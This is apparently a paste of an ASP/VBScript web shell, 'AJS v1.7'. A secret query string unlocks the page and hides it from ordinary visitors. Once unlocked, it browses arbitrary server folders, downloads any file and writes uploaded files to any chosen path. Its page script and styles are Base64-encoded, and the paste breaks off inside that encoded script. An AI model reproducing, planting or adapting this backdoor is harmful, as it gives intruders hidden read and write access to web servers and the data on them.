· 8 years ago · Feb 01, 2018, 02:58 AM
1<%@ LANGUAGE = VBScript.Encode %>
2<%
3option explicit
4on error resume next
5
6Session.Timeout=30
7Server.ScriptTimeout = 7200
8session.lcid=2057
9
10
11'************************* Varible *************************
12Dim FSO, Fullpath, FilePath, FolderPath, folderLocation, js, aspTitle
13Dim mode
14
15'''''' Basic Settings '''''
16aspTitle = "AJS v1.7"
17'''''' Basic Settings '''''
18
19Set FSO = CreateObject("Scripting.FileSystemObject")
20Fullpath=replace(Request.ServerVariables("PATH_TRANSLATED"),"/","\")
21FilePath = mid(Fullpath,InStrRev(Fullpath,"\")+1)
22FolderPath = Left(Fullpath,InStrRev(Fullpath,"\"))
23folderLocation = Request("location")
24mode = Request("mode")
25
26if(folderLocation = "" or folderLocation = "/" or folderLocation = "\") then
27 folderLocation = addslash(FolderPath)
28else
29 folderLocation = addslash(folderLocation)
30end if
31
32If (LCase(Request.ServerVariables("QUERY_STRING"))="x=a") Then
33 Session("allow")=1
34 Session("myFolderList") = Array("noxxxinfo")
35 Session("myFileList") = Array("noxxxinfo")
36 Response.CacheControl = "no-cache"
37 Response.Status = "301 Moved Permanently"
38 Response.Expires = 0
39 Response.Expiresabsolute = Now() - 1
40 Response.AddHeader "pragma","no-cache"
41 Response.AddHeader "cache-control","private"
42 Response.AddHeader "Location", FilePath
43 Response.End
44End If
45
46If (Session("allow") <> 1) Then
47 Response.Expires = 0
48 Response.Expiresabsolute = Now() - 1
49 Response.AddHeader "pragma","no-cache"
50 Response.AddHeader "cache-control","private"
51 Response.CacheControl = "no-cache"
52 Response.End
53End If
54
55Session("allow")=1
56'************************* Varible *************************
57
58'************************* JSON.asp *************************
59class JSON
60
61 'private members
62 private output, innerCall
63
64 'public members
65 public toResponse ''[bool] should the generated representation be written directly to the response (using <em>Response.Write</em>)? default = false
66 public recordsetPaging ''[bool] indicates if only the current page should be processed on paged recordsets.
67 ''e.g. would return only 10 records if <em>RS.pagesize</em> is set to 10. default = false (means that always all records are processed)
68
69 public sub class_initialize()
70 newGeneration()
71 toResponse = false
72 recordsetPaging = false
73 end sub
74
75 public function escape(val)
76 dim cDoubleQuote, cRevSolidus, cSolidus
77 cDoubleQuote = &h22
78 cRevSolidus = &h5C
79 cSolidus = &h2F
80 dim i, currentDigit
81 for i = 1 to (len(val))
82 currentDigit = mid(val, i, 1)
83 if ascw(currentDigit) > &h00 and ascw(currentDigit) < &h1F then
84 currentDigit = escapequence(currentDigit)
85 elseif ascw(currentDigit) >= &hC280 and ascw(currentDigit) <= &hC2BF then
86 currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC200), 2, 0), 2)
87 elseif ascw(currentDigit) >= &hC380 and ascw(currentDigit) <= &hC3BF then
88 currentDigit = "\u00" + right(padLeft(hex(ascw(currentDigit) - &hC2C0), 2, 0), 2)
89 else
90 select case ascw(currentDigit)
91 case cDoubleQuote: currentDigit = escapequence(currentDigit)
92 case cRevSolidus: currentDigit = escapequence(currentDigit)
93 case cSolidus: currentDigit = escapequence(currentDigit)
94 end select
95 end if
96 escape = escape & currentDigit
97 next
98 end function
99
100 public default function toJSON(name, val, nested)
101 if not nested and not isEmpty(name) then write("{")
102 if not isEmpty(name) then write("""" & escape(name) & """: ")
103 generateValue(val)
104 if not nested and not isEmpty(name) then write("}")
105 toJSON = output
106
107 if innerCall = 0 then newGeneration()
108 end function
109
110 '******************************************************************************************************************
111 '* generate
112 '******************************************************************************************************************
113 private function generateValue(val)
114 if isNull(val) then
115 write("null")
116 elseif isArray(val) then
117 generateArray(val)
118 elseif isObject(val) then
119 dim tName : tName = typename(val)
120 if val is nothing then
121 write("null")
122 elseif tName = "Dictionary" or tName = "IRequestDictionary" then
123 generateDictionary(val)
124 elseif tName = "Recordset" then
125 generateRecordset(val)
126 elseif tName = "IRequest" then
127 set req = server.createObject("scripting.dictionary")
128 req.add "clientcertificate", val.ClientCertificate
129 req.add "cookies", val.cookies
130 req.add "form", val.form
131 req.add "querystring", val.queryString
132 req.add "servervariables", val.serverVariables
133 req.add "totalbytes", val.totalBytes
134 generateDictionary(req)
135 elseif tName = "IStringList" then
136 if val.count = 1 then
137 toJSON empty, val(1), true
138 else
139 generateArray(val)
140 end if
141 else
142 generateObject(val)
143 end if
144 else
145 'bool
146 dim varTyp
147 varTyp = varType(val)
148 if varTyp = 11 then
149 if val then write("true") else write("false")
150 'int, long, byte
151 elseif varTyp = 2 or varTyp = 3 or varTyp = 17 or varTyp = 19 then
152 write(cLng(val))
153 'single, double, currency
154 elseif varTyp = 4 or varTyp = 5 or varTyp = 6 or varTyp = 14 then
155 write(replace(cDbl(val), ",", "."))
156 else
157 write("""" & escape(val & "") & """")
158 end if
159 end if
160 generateValue = output
161 end function
162
163 '******************************************************************************************************************
164 '* generateArray
165 '******************************************************************************************************************
166 private sub generateArray(val)
167 dim item, i, stId
168 write("[")
169 if(val(0) <> "noxxxinfo") then
170 stId = 0
171 else
172 stId = 1
173 end if
174 'the for each allows us to support also multi dimensional arrays
175 for i = stId to UBound(val)
176 if i > stId then write(",")
177 generateValue(val(i))
178 next
179 write("]")
180 end sub
181
182 '******************************************************************************************************************
183 '* generateDictionary
184 '******************************************************************************************************************
185 private sub generateDictionary(val)
186 innerCall = innerCall + 1
187 if val.count = 0 then
188 toJSON empty, null, true
189 exit sub
190 end if
191 dim key, i
192 write("{")
193 i = 0
194 for each key in val
195 if i > 0 then write(",")
196 toJSON key, val(key), true
197 i = i + 1
198 next
199 write("}")
200 innerCall = innerCall - 1
201 end sub
202
203 '******************************************************************************************************************
204 '* generateRecordset
205 '******************************************************************************************************************
206 private sub generateRecordset(val)
207 dim i, curRow, colValue
208 write("[")
209 curRow = 0
210 'recordset.pagesize = -1 means it is not paged.
211 while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
212 innerCall = innerCall + 1
213 redim colValue(val.fields.count - 1)
214 for i = 0 to val.fields.count - 1
215 if IsNull(val.fields(i).value) then
216 colValue(i) = "NULL"
217 elseif (Trim(val.fields(i).value)="") then
218 colValue(i) = " "
219 else
220 colValue(i) = Server.HtmlEncode(val.fields(i).value)
221 end if
222 next
223 generateArray(colValue)
224 val.movenext()
225 curRow = curRow + 1
226 if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
227 innerCall = innerCall - 1
228 wend
229 write("]")
230 end sub
231
232 '******************************************************************************************************************
233 '* generateRecordset
234 '******************************************************************************************************************
235 private sub generateRecordsetX(val)
236 dim i, curRow
237 write("[")
238 curRow = 0
239 'recordset.pagesize = -1 means it is not paged.
240 while not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging)
241 innerCall = innerCall + 1
242 write("{")
243 for i = 0 to val.fields.count - 1
244 if i > 0 then write(",")
245 toJSON lCase(val.fields(i).name), val.fields(i).value, true
246 next
247 write("}")
248 val.movenext()
249 curRow = curRow + 1
250 if not val.eof and ((recordsetPaging and curRow < val.pageSize) or val.recordCount = -1 or not recordsetPaging) then write(",")
251 innerCall = innerCall - 1
252 wend
253 write("]")
254 end sub
255
256 '******************************************************************************************************************
257 '* generateObject
258 '******************************************************************************************************************
259 private sub generateObject(val)
260 dim props
261 on error resume next
262 set props = val.reflect()
263 if err = 0 then
264 on error goto 0
265 innerCall = innerCall + 1
266 toJSON empty, props, true
267 innerCall = innerCall - 1
268 else
269 on error goto 0
270 write("""" & escape(typename(val)) & """")
271 end if
272 end sub
273
274 '******************************************************************************************************************
275 '* newGeneration
276 '******************************************************************************************************************
277 private sub newGeneration()
278 output = empty
279 innerCall = 0
280 end sub
281
282 '******************************************************************************************
283 '* JsonEscapeSquence
284 '******************************************************************************************
285 private function escapequence(digit)
286 escapequence = "\u00" + right(padLeft(hex(ascw(digit)), 2, 0), 2)
287 end function
288
289 '******************************************************************************************
290 '* padLeft
291 '******************************************************************************************
292 private function padLeft(value, totalLength, paddingChar)
293 padLeft = right(clone(paddingChar, totalLength) & value, totalLength)
294 end function
295
296 '******************************************************************************************
297 '* clone
298 '******************************************************************************************
299 private function clone(byVal str, n)
300 dim i
301 for i = 1 to n : clone = clone & str : next
302 end function
303
304 '******************************************************************************************
305 '* write
306 '******************************************************************************************
307 private sub write(val)
308 if toResponse then
309 Response.Write(val)
310 else
311 output = output & val
312 end if
313 end sub
314
315end class
316'************************* JSON.asp *************************
317
318
319'************************* Func.asp *************************
320function addslash(path)
321 if right(path,1)="\" then addslash=path else addslash=path & "\"
322end function
323
324Function FormatSize(intSize)
325 If (intSize < 1024) Then
326 FormatSize = intSize & " B"
327 ElseIf (intSize < 1024*1024) Then
328 FormatSize = FormatNumber(intSize/1024,2) & " KB"
329 ElseIf (intSize < 1024*1024*1024) Then
330 FormatSize = FormatNumber(intSize/(1024*1024),2) & " MB"
331 Else
332 FormatSize = FormatNumber(intSize/(1024*1024*1024),2) & " GB"
333 End If
334End Function
335
336Function Base64Encode(inData)
337 Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
338 Dim cOut, sOut, I
339
340 For I = 1 To Len(inData) Step 3
341 Dim nGroup, pOut, sGroup
342
343 nGroup = &H10000 * Asc(Mid(inData, I, 1)) + _
344 &H100 * MyASC(Mid(inData, I + 1, 1)) + MyASC(Mid(inData, I + 2, 1))
345
346 nGroup = Oct(nGroup)
347
348 nGroup = String(8 - Len(nGroup), "0") & nGroup
349
350 pOut = Mid(Base64, CLng("&o" & Mid(nGroup, 1, 2)) + 1, 1) + _
351 Mid(Base64, CLng("&o" & Mid(nGroup, 3, 2)) + 1, 1) + _
352 Mid(Base64, CLng("&o" & Mid(nGroup, 5, 2)) + 1, 1) + _
353 Mid(Base64, CLng("&o" & Mid(nGroup, 7, 2)) + 1, 1)
354
355 sOut = sOut + pOut
356
357 Next
358 Select Case Len(inData) Mod 3
359 Case 1: '8 bit final
360 sOut = Left(sOut, Len(sOut) - 2) + "=="
361 Case 2: '16 bit final
362 sOut = Left(sOut, Len(sOut) - 1) + "="
363 End Select
364 Base64Encode = sOut
365End Function
366
367Function MyASC(OneChar)
368 If OneChar = "" Then MyASC = 0 Else MyASC = Asc(OneChar)
369End Function
370
371
372Function Base64Decode(ByVal base64String)
373 Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
374 Dim dataLength, sOut, groupBegin
375
376 base64String = Replace(base64String, vbCrLf, "")
377 base64String = Replace(base64String, vbTab, "")
378 base64String = Replace(base64String, " ", "")
379
380 dataLength = Len(base64String)
381 If dataLength Mod 4 <> 0 Then
382 Err.Raise 1, "Base64Decode", "Bad Base64 string."
383 Exit Function
384 End If
385
386
387 For groupBegin = 1 To dataLength Step 4
388 Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
389 numDataBytes = 3
390 nGroup = 0
391
392 For CharCounter = 0 To 3
393
394 thisChar = Mid(base64String, groupBegin + CharCounter, 1)
395
396 If thisChar = "=" Then
397 numDataBytes = numDataBytes - 1
398 thisData = 0
399 Else
400 thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
401 End If
402 If thisData = -1 Then
403 Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
404 Exit Function
405 End If
406
407 nGroup = 64 * nGroup + thisData
408 Next
409
410 nGroup = Hex(nGroup)
411
412 nGroup = String(6 - Len(nGroup), "0") & nGroup
413
414 pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
415 Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
416 Chr(CByte("&H" & Mid(nGroup, 5, 2)))
417
418 sOut = sOut & Left(pOut, numDataBytes)
419 Next
420
421 Base64Decode = sOut
422End Function
423
424
425Function Base64ToBSTR(strBase64)
426 Dim Byte1, Byte2, Byte3, Byte4
427 Dim Data
428 Dim iterator
429 Const CharMap = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
430
431 For iterator = 0 To Len(strBase64) - 1 Step 4
432 Byte1 = InStr(CharMap, Mid(strBase64, iterator + 1, 1)) - 1
433 Byte2 = InStr(CharMap, Mid(strBase64, iterator + 2, 1)) - 1
434 Byte3 = InStr(CharMap, Mid(strBase64, iterator + 3, 1)) - 1
435 Byte4 = InStr(CharMap, Mid(strBase64, iterator + 4, 1)) - 1
436
437 Data = Data & ChrB(Byte1 * 4 + Byte2 \ 16)
438
439 If Byte3 >= 0 Then
440 Data = Data & ChrB((Byte2 And 15) * 16 + Byte3 \ 4)
441 Else
442 Data = Data & ChrB((iterator * 3 \ 4 + 1) = (Byte2 And 15) * 16)
443 End If
444
445 If Byte4 >= 0 Then
446 Data = Data & ChrB((Byte3 And 3) * 64 + Byte4)
447 End If
448 Next
449 Base64ToBSTR = Data
450End Function
451
452
453
454Function ReadBinaryFile(FileName)
455 Const adTypeBinary = 1
456 Dim BinaryStream
457 Set BinaryStream = CreateObject("ADODB.Stream")
458 BinaryStream.Type = adTypeBinary
459 BinaryStream.Open
460 BinaryStream.LoadFromFile FileName
461 ReadBinaryFile = BinaryStream.Read
462End Function
463
464' -----------------------------------------
465' URL decode to retrieve the original value
466
467Function URLDecode(sConvert)
468 Dim aSplit
469 Dim sOutput
470 Dim I
471 If IsNull(sConvert) Then
472 URLDecode = ""
473 Exit Function
474 End If
475
476 ' convert all pluses to spaces
477 sOutput = REPLACE(sConvert, "+", " ")
478
479 ' next convert %hexdigits to the character
480 aSplit = Split(sOutput, "%")
481
482 If IsArray(aSplit) Then
483 sOutput = aSplit(0)
484 For I = 0 to UBound(aSplit) - 1
485 sOutput = sOutput & _
486 Chr("&H" & Left(aSplit(i + 1), 2)) &_
487 Right(aSplit(i + 1), Len(aSplit(i + 1)) - 2)
488 Next
489 End If
490
491 URLDecode = sOutput
492End Function
493
494Private Sub DownloadFile(file)
495 '--declare variables
496 Dim strAbsFile
497 Dim strFileExtension
498 Dim objFSO
499 Dim objFile
500 Dim objStream
501 '-- set absolute file location
502 strAbsFile = file
503 '-- create FSO object to check if file exists and get properties
504 Set objFSO = Server.CreateObject("Scripting.FileSystemObject")
505 '-- check to see if the file exists
506 If objFSO.FileExists(strAbsFile) Then
507 Set objFile = objFSO.GetFile(strAbsFile)
508 '-- first clear the response, and then set the appropriate headers
509 Response.Clear
510 '-- the filename you give it will be the one that is shown
511 ' to the users by default when they save
512 Response.AddHeader "Content-Disposition", "attachment; filename=" & objFile.Name
513 Response.AddHeader "Content-Length", objFile.Size
514 Response.ContentType = "application/octet-stream"
515 Set objStream = Server.CreateObject("ADODB.Stream")
516 objStream.Open
517 '-- set as binary
518 objStream.Type = 1
519 Response.CharSet = "UTF-8"
520 '-- load into the stream the file
521 objStream.LoadFromFile(strAbsFile)
522 '-- send the stream in the response
523 Response.BinaryWrite(objStream.Read)
524 objStream.Close
525 Set objStream = Nothing
526 Set objFile = Nothing
527 Else 'objFSO.FileExists(strAbsFile)
528 Response.Clear
529 Response.Write("No such file exists.")
530 End If
531 Set objFSO = Nothing
532End Sub
533
534'************************* Upload *************************
535Class FileUploader
536 Public Files
537 Public mcolFormElem
538
539 Private Sub Class_Initialize()
540 Set Files = Server.CreateObject("Scripting.Dictionary")
541 Set mcolFormElem = Server.CreateObject("Scripting.Dictionary")
542 End Sub
543
544 Private Sub Class_Terminate()
545 If IsObject(Files) Then
546 Files.RemoveAll()
547 Set Files = Nothing
548 End If
549 If IsObject(mcolFormElem) Then
550 mcolFormElem.RemoveAll()
551 Set mcolFormElem = Nothing
552 End If
553 End Sub
554
555 Public Property Get Form(sIndex)
556 Form = ""
557 If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))
558 End Property
559
560 Public Default Sub Upload()
561 Dim biData, sInputName
562 Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos
563 Dim nPosFile, nPosBound
564
565 biData = Request.BinaryRead(Request.TotalBytes)
566 nPosBegin = 1
567 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
568
569 If (nPosEnd-nPosBegin) <= 0 Then Exit Sub
570
571 vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
572 nDataBoundPos = InstrB(1, biData, vDataBounds)
573
574 Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--"))
575
576 nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition"))
577 nPos = InstrB(nPos, biData, CByteString("name="))
578 nPosBegin = nPos + 6
579 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
580 sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
581 nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename="))
582 nPosBound = InstrB(nPosEnd, biData, vDataBounds)
583
584 If nPosFile <> 0 And nPosFile < nPosBound Then
585 Dim oUploadFile, sFileName
586 Set oUploadFile = New UploadedFile
587
588 nPosBegin = nPosFile + 10
589 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34)))
590 sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
591 oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\"))
592
593 nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:"))
594 nPosBegin = nPos + 14
595 nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13)))
596
597 oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
598
599 nPosBegin = nPosEnd+4
600 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
601 oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin)
602
603 If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile
604 Else
605 nPos = InstrB(nPos, biData, CByteString(Chr(13)))
606 nPosBegin = nPos + 4
607 nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2
608 If Not mcolFormElem.Exists(LCase(sInputName)) Then mcolFormElem.Add LCase(sInputName), CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin))
609 End If
610
611 nDataBoundPos = InstrB(nDataBoundPos + LenB(vDataBounds), biData, vDataBounds)
612 Loop
613 End Sub
614
615 Private Function CByteString(sString)
616 Dim nIndex
617 For nIndex = 1 to Len(sString)
618 CByteString = CByteString & ChrB(AscB(Mid(sString,nIndex,1)))
619 Next
620 End Function
621
622 Private Function CWideString(bsString)
623 Dim nIndex
624 CWideString =""
625 For nIndex = 1 to LenB(bsString)
626 CWideString = CWideString & Chr(AscB(MidB(bsString,nIndex,1)))
627 Next
628 End Function
629End Class
630
631Class UploadedFile
632 Public ContentType
633 Public FileName
634 Public FileData
635
636 Public Property Get FileSize()
637 FileSize = LenB(FileData)
638 End Property
639
640 Public Sub SaveToDisk(sPath)
641 on error resume next
642 Dim oFS, oFile, nIndex
643
644 If sPath = "" Or FileName = "" Then Exit Sub
645 If Mid(sPath, Len(sPath)) <> "\" Then sPath = sPath & "\"
646
647 Set oFS = Server.CreateObject("Scripting.FileSystemObject")
648 If Not oFS.FolderExists(sPath) Then Exit Sub
649
650 Set oFile = oFS.CreateTextFile(sPath & FileName, True)
651
652 For nIndex = 1 to LenB(FileData)
653 oFile.Write Chr(AscB(MidB(FileData,nIndex,1)))
654 Next
655
656 oFile.Close
657 End Sub
658
659 Public Sub SaveToDatabase(ByRef oField)
660 If LenB(FileData) = 0 Then Exit Sub
661
662 If IsObject(oField) Then
663 oField.AppendChunk FileData
664 End If
665 End Sub
666
667End Class
668
669function Upload(location)
670 Dim Uploader, File
671 Set Uploader = New FileUploader
672
673 Uploader.Upload()
674
675 If Uploader.Files.Count = 0 Then
676 Response.Write "<TR><TD class=""kbrtm"">File(s) not uploaded.</TD></TR>"
677 Else
678 For Each File In Uploader.Files.Items
679 File.SaveToDisk Uploader.mcolFormElem.Item("location")
680
681 if Err.Number<>0 then
682 Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & File.FileName & " : "
683 Response.Write "Failed (" & Err.Description & ")</TD></TR>"
684 Err.Clear
685 else
686 Response.Write "<TR><TD class=""kbrtm"">File Uploaded: " & Uploader.mcolFormElem.Item("location") & File.FileName & "<br>"
687 Response.Write "Size: " & File.FileSize & " bytes</TD></TR>"
688 end if
689
690 Next
691 End If
692
693 Upload = Uploader.mcolFormElem.Item("linkback")
694end function
695'************************* Upload *************************
696
697'************************* Func.asp *************************
698
699
700'************************* media.asp *************************
701
702dim script, img_loading, img_dir, img_lvUp, img_txt, img_img, img_unknow, media_style
703
704media_style = ""&_
705"Ym9keXsKCW1hcmdpbjowcHg7Cglmb250LXN0eWxlOm5vcm1hbDsKCWZvbnQtc2l6ZToxMXB4OwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7CgliYWNrZ3JvdW5kLWNvbG9yOiMzYTNhM2E7CglzY3JvbGxiYXItZmFjZS1jb2xvcjogIzMwMzAzMDsKCXNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6" &_
706"ICM1ZDVkNWQ7CglzY3JvbGxiYXItc2hhZG93LWNvbG9yOiAjMTIxMjEyOwoJc2Nyb2xsYmFyLTNkbGlnaHQtY29sb3I6ICMzYTNhM2E7CglzY3JvbGxiYXItYXJyb3ctY29sb3I6ICM5ZDlkOWQ7CglzY3JvbGxiYXItdHJhY2stY29sb3I6ICMzYTNhM2E7CglzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzNhM2EzYTsKfQoK" &_
707"CnRkewoJZm9udC1zdHlsZTpub3JtYWw7Cglmb250LXNpemU6MTFweDsKCWNvbG9yOiNGRkZGRkY7Cglmb250LWZhbWlseTpWZXJkYW5hLEFyaWFsOwoJaGVpZ2h0OiAyNHB4Owp9CgphewoJY29sb3I6I0VFRUVFRTsKCXRleHQtZGVjb3JhdGlvbjpub25lOwoJZm9udC1zaXplOjEwcHg7Cglmb250LXdlaWdodDpib2xkOwoJdmVy" &_
708"dGljYWwtYWxpZ246dGV4dC10b3A7Cn0KCmE6aG92ZXJ7Cgljb2xvcjojNDBhMGVjOwp9CgphOnZpc2l0ZWR7Cgljb2xvcjojRUVFRUVFOwp9CgphOnZpc2l0ZWQ6aG92ZXJ7Cgljb2xvcjojNDBhMGVjOwp9Cgp0ZXh0YXJlYXsKCWJhY2tncm91bmQ6IzEyMTIxMjsKCWNvbG9yOiNGRkZGRkY7Zm9udC1mYW1pbHk6VmVyZGFuYSxB" &_
709"cmlhbDsKCWZvbnQtc2l6ZToxMXB4OwoJdmVydGljYWwtYWxpZ246bWlkZGxlOyAKCWhlaWdodDoxODsKCWJvcmRlci1sZWZ0OjFweCBzb2xpZCAjMTIxMjEyOwoJYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjNWQ1ZDVkOwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci10b3A6MXB4IHNvbGlkICMxMjEy" &_
710"MTI7Cn0KCmlucHV0ICxzZWxlY3R7CgliYWNrZ3JvdW5kOiMzMDMwMzA7Cgljb2xvcjojRkZGRkZGOwoJZm9udC1mYW1pbHk6VmVyZGFuYSxBcmlhbDsKCWZvbnQtc2l6ZToxMXB4OwoJdmVydGljYWwtYWxpZ246bWlkZGxlOwoJaGVpZ2h0OjI0OyAKCWJvcmRlci1sZWZ0OjFweCBzb2xpZCAjNWQ1ZDVkOwoJYm9yZGVyLXJpZ2h0" &_
711"OjFweCBzb2xpZCAjMTIxMjEyOwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgIzEyMTIxMjsKCWJvcmRlci10b3A6MXB4IHNvbGlkICM1ZDVkNWQ7Cn0KCmlucHV0LnhjaGVjayB7CglkaXNwbGF5OiBibG9jazsKCWhlaWdodDogMjJweDsKCXdpZHRoOiAyMnB4OwoJcGFkZGluZzogMDsKCW1hcmdpbjogMDsKCWJvcmRlcjogMDsK" &_
712"fQoKLmticnRtewoJYmFja2dyb3VuZDojMzAzMDMwOwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Cglmb250LXNpemU6MTFweDsKCXZlcnRpY2FsLWFsaWduOm1pZGRsZTsKCWhlaWdodDoyNDsgCglib3JkZXItbGVmdDoxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci1yaWdodDoxcHggc29saWQg" &_
713"IzEyMTIxMjsKCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjNWQ1ZDVkOwp9Cgoua2JydG0xewoJYmFja2dyb3VuZDojMzAzMDMwOwoJY29sb3I6I0ZGRkZGRjsKCWZvbnQtZmFtaWx5OlZlcmRhbmEsQXJpYWw7Cglmb250LXNpemU6MTFweDsKCXZlcnRpY2FsLWFsaWduOm1p" &_
714"ZGRsZTsKCWhlaWdodDozMDsgCglib3JkZXItbGVmdDoxcHggc29saWQgIzVkNWQ1ZDsKCWJvcmRlci1yaWdodDoxcHggc29saWQgIzEyMTIxMjsKCWJvcmRlci1ib3R0b206MXB4IHNvbGlkICMxMjEyMTI7Cglib3JkZXItdG9wOjFweCBzb2xpZCAjNWQ1ZDVkOwp9Cgoua2JydG0xIGF7Cgljb2xvcjpvcmFuZ2U7Cgl0ZXh0LWRl" &_
715"Y29yYXRpb246bm9uZTsKCWZvbnQtc2l6ZToxMXB4OwoJZm9udC13ZWlnaHQ6Ym9sZDsKCXZlcnRpY2FsLWFsaWduOnRleHQtbWlkZGxlOwp9Cgoua2JydG0xIGE6dmlzaXRlZHsKCWNvbG9yOm9yYW5nZTsKfQoKLmticnRtMSBhOmhvdmVyewoJY29sb3I6IzQwYTBlYzsKfQoKLmticnRtMSBhOnZpc2l0ZWQ6aG92ZXJ7Cgljb2xv" &_
716"cjojNDBhMGVjOwp9CgouZm5hbWUgewoJd2lkdGg6NDAlOwp9CgouZnNpemUgewoJd2lkdGg6NyU7Cn0KCi5mdHlwZSB7Cgl3aWR0aDo5JTsKfQoKLmZkYXRlIHsKCXdpZHRoOjEzJTsKfQoKLmZjb21tYW5kIHsKCXdpZHRoOjclOwp9CgouZmNoZWNrIHsKCXdpZHRoOjQlOwp9CgouZmFjdGlvbiB7Cgl3aWR0aDoxOCU7Cn0KCi50" &_
717"YWJsZUhlYWQgewoJYmFja2dyb3VuZC1jb2xvcjoxMjEyMTI7CgloZWlnaHQ6MjU7IAp9CgojZ2FwMHsKCWRpc3BsYXk6bm9uZTsKfQoKI292ZXJsYXl7CglkaXNwbGF5Om5vbmU7Cgl6LWluZGV4OiA4MDsKCXBvc2l0aW9uOiBhYnNvbHV0ZTsKCXRvcDogMDsKCWxlZnQ6IDA7Cgl3aWR0aDogMTAwJTsKCWhlaWdodDogMTAwJTsK" &_
718"CWJhY2tncm91bmQtY29sb3I6ICMwMDA7CglvcGFjaXR5OjAuNDsKCWZpbHRlcjphbHBoYShvcGFjaXR5PTQwKTsKfQoKCiN0YmxMb2FkaW5nLCAjdGJsTWFwRHJpdmVyIHsKCWRpc3BsYXk6bm9uZTsKCXotaW5kZXg6IDkwOwoJcG9zaXRpb246Zml4ZWQ7CglfcG9zaXRpb246YWJzb2x1dGU7Cgl0b3A6NTAlOyBsZWZ0OjUwJTsK" &_
719"CW1hcmdpbjotNTBweCBhdXRvIGF1dG8gLTEwMHB4OwoJX3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmJvZHkuc2Nyb2xsVG9wKyhkb2N1bWVudC5ib2R5LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCkvMik7dGV4dC1hbGlnbjpjZW50ZXI7Cn0KCiN0YmxNZW51IHsKCXotaW5kZXg6IDcwOwoJcG9zaXRpb246Zml4ZWQ7" &_
720"CglfcG9zaXRpb246YWJzb2x1dGU7Cgl0b3A6MiU7IGxlZnQ6NTAlOwoJbWFyZ2luOi01MHB4IGF1dG8gYXV0byAtMTAwcHg7CglfdG9wOmV4cHJlc3Npb24oZG9jdW1lbnQuYm9keS5zY3JvbGxUb3ArKGRvY3VtZW50LmJvZHkuY2xpZW50SGVpZ2h0LXRoaXMuY2xpZW50SGVpZ2h0KS81MCk7dGV4dC1hbGlnbjpjZW50ZXI7Cn0="
721
722script = "" &_
723"dmFyIGlzSUU9LypAY2Nfb24hQCovZmFsc2U7Ly9JRSBkZXRlY3Rvcgp2YXIgbGFzdFVybCA9ICcjRXhwbG9yZXJ8XFwnOwp2YXIgbGFzdFVybEJhY2t1cCA9ICcjRXhwbG9yZXJ8XFwnOwp2YXIgY3VycmVudF91cmwgPSAnJzsKdmFyIGN1cnJlbnRfcnVubmluZyA9IGZhbHNlOwp2YXIgZmllbGQgPSAnJzsKdmFyIGludGVydmFs" &_
724"ID0gJyc7CnZhciBodHRwID0gY3JlYXRlUmVxdWVzdE9iamVjdCgpOwp2YXIgZmZMaXN0ID0gbnVsbDsKdmFyIGxzdFJlc3BvbnNlID0gbnVsbDsKdmFyIGFjdGlvblJlc3BvbnNlID0gbnVsbDsKdmFyIGV4dF90ZXh0ID0gJy50eHQuYXNwLmFzcHgucGhwLmNmbS5qcy5jb25maWcuaHRtLmh0bWwueG1sLmNzcy5pbmkuYmF0LmNt" &_
